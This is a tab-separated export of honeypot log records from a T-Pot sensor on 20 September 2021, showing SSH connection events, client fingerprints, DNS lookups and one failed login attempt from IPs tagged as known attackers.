29680	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:28:20.880769+03	2021-09-20 14:30:04.442524+03	{"_id": "WAb2AnwBvYTbRNuEzTd-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9613363c6a74", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:28:20.880769Z", "@timestamp": "2021-09-20T11:28:20.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29682	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:28:21.158779+03	2021-09-20 14:30:04.445555+03	{"_id": "Wgb2AnwBvYTbRNuEzjf0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 673766289187623, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45794, "dest_port": 22, "timestamp": "2021-09-20T11:28:21.158779Z", "@timestamp": "2021-09-20T11:28:21.158Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29683	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:28:21.158961+03	2021-09-20 14:30:04.446551+03	{"_id": "XAb2AnwBvYTbRNuE0Dcd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45794, "dest_port": 22, "timestamp": "2021-09-20T11:28:21.158961", "@timestamp": "2021-09-20T11:28:21.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29684	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:28:11.509208+03	2021-09-20 14:30:04.447554+03	{"_id": "Gwb2AnwBvYTbRNuEpzfg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 1342020250144265, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50284, "dest_port": 22, "timestamp": "2021-09-20T11:28:11.509208Z", "@timestamp": "2021-09-20T11:28:11.509Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29685	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:28:11.515664+03	2021-09-20 14:30:04.448555+03	{"_id": "Hgb2AnwBvYTbRNuEqTcH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50284, "dest_port": 22, "timestamp": "2021-09-20T11:28:11.515664", "@timestamp": "2021-09-20T11:28:11.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29686	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:28:11.231199+03	2021-09-20 14:30:04.450524+03	{"_id": "Hwb2AnwBvYTbRNuEqjcW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:50284 (192.168.176.2:22) [session: 3e241db4de77]", "session": "3e241db4de77", "@version": "1", "protocol": "ssh", "src_port": 50284, "dest_port": 22, "timestamp": "2021-09-20T11:28:11.231199Z", "@timestamp": "2021-09-20T11:28:11.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29705	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:28:52.145+03	2021-09-20 14:30:04.474554+03	{"_id": "nwb3AnwBvYTbRNuERjdo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "28d7854f535d", "@version": "1", "duration": 2.3671889305114746, "timestamp": "2021-09-20T11:28:52.145000Z", "@timestamp": "2021-09-20T11:28:52.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29687	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:28:11.234348+03	2021-09-20 14:30:04.451524+03	{"_id": "IQb2AnwBvYTbRNuEqjcW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3e241db4de77", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:28:11.234348Z", "@timestamp": "2021-09-20T11:28:11.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29688	14.29.64.91	109.199.241.180	Cowrie	2021-09-20 14:28:47.717624+03	2021-09-20 14:30:04.452523+03	{"_id": "fgb3AnwBvYTbRNuENjfG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "14.29.64.91", "asn": 4134, "as_org": "Chinanet", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "city_name": "Guangzhou", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "14.29.64.91", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "c5efe78b5025", "@version": "1", "duration": 120.02018904685974, "timestamp": "2021-09-20T11:28:47.717624Z", "@timestamp": "2021-09-20T11:28:47.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29689	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:28:49.777156+03	2021-09-20 14:30:04.454523+03	{"_id": "iQb3AnwBvYTbRNuEPjfP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:55956 (192.168.176.2:22) [session: 28d7854f535d]", "session": "28d7854f535d", "@version": "1", "protocol": "ssh", "src_port": 55956, "dest_port": 22, "timestamp": "2021-09-20T11:28:49.777156Z", "@timestamp": "2021-09-20T11:28:49.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29690	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:28:49.786475+03	2021-09-20 14:30:04.456523+03	{"_id": "igb3AnwBvYTbRNuEPjfP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "28d7854f535d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:28:49.786475Z", "@timestamp": "2021-09-20T11:28:49.786Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29691	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:28:49.997484+03	2021-09-20 14:30:04.457523+03	{"_id": "iwb3AnwBvYTbRNuEPjfP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "28d7854f535d", "@version": "1", "timestamp": "2021-09-20T11:28:49.997484Z", "@timestamp": "2021-09-20T11:28:49.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29692	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:28:49.720533+03	2021-09-20 14:30:04.459523+03	{"_id": "jwb3AnwBvYTbRNuEQDdH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 65012, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 24064440794773, "@version": "1", "in_iface": "enp5s0", "src_port": 57919, "dest_port": 53, "timestamp": "2021-09-20T11:28:49.720533Z", "@timestamp": "2021-09-20T11:28:49.720Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29693	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:49.989963+03	2021-09-20 14:30:04.460524+03	{"_id": "kwb3AnwBvYTbRNuEQTdv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55956, "timestamp": "2021-09-20T11:28:49.989963", "@timestamp": "2021-09-20T11:28:49.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29694	150.109.115.128	109.199.241.180	Fatt	2021-09-20 14:28:49.997222+03	2021-09-20 14:30:04.461523+03	{"_id": "lAb3AnwBvYTbRNuEQTdv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55956, "dest_port": 22, "timestamp": "2021-09-20T11:28:49.997222", "@timestamp": "2021-09-20T11:28:49.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29695	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:28:50.92849+03	2021-09-20 14:30:04.462523+03	{"_id": "lQb3AnwBvYTbRNuEQjd_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.failed", "message": "login attempt [admwizzbe/pwdbewizz] failed", "session": "28d7854f535d", "@version": "1", "password": "pwdbewizz", "username": "admwizzbe", "timestamp": "2021-09-20T11:28:50.928490Z", "@timestamp": "2021-09-20T11:28:50.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29696	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:28:51.268546+03	2021-09-20 14:30:04.463523+03	{"_id": "lwb3AnwBvYTbRNuERDcw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 19772, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 375470075091202, "@version": "1", "in_iface": "enp5s0", "src_port": 35129, "dest_port": 53, "timestamp": "2021-09-20T11:28:51.268546Z", "@timestamp": "2021-09-20T11:28:51.268Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
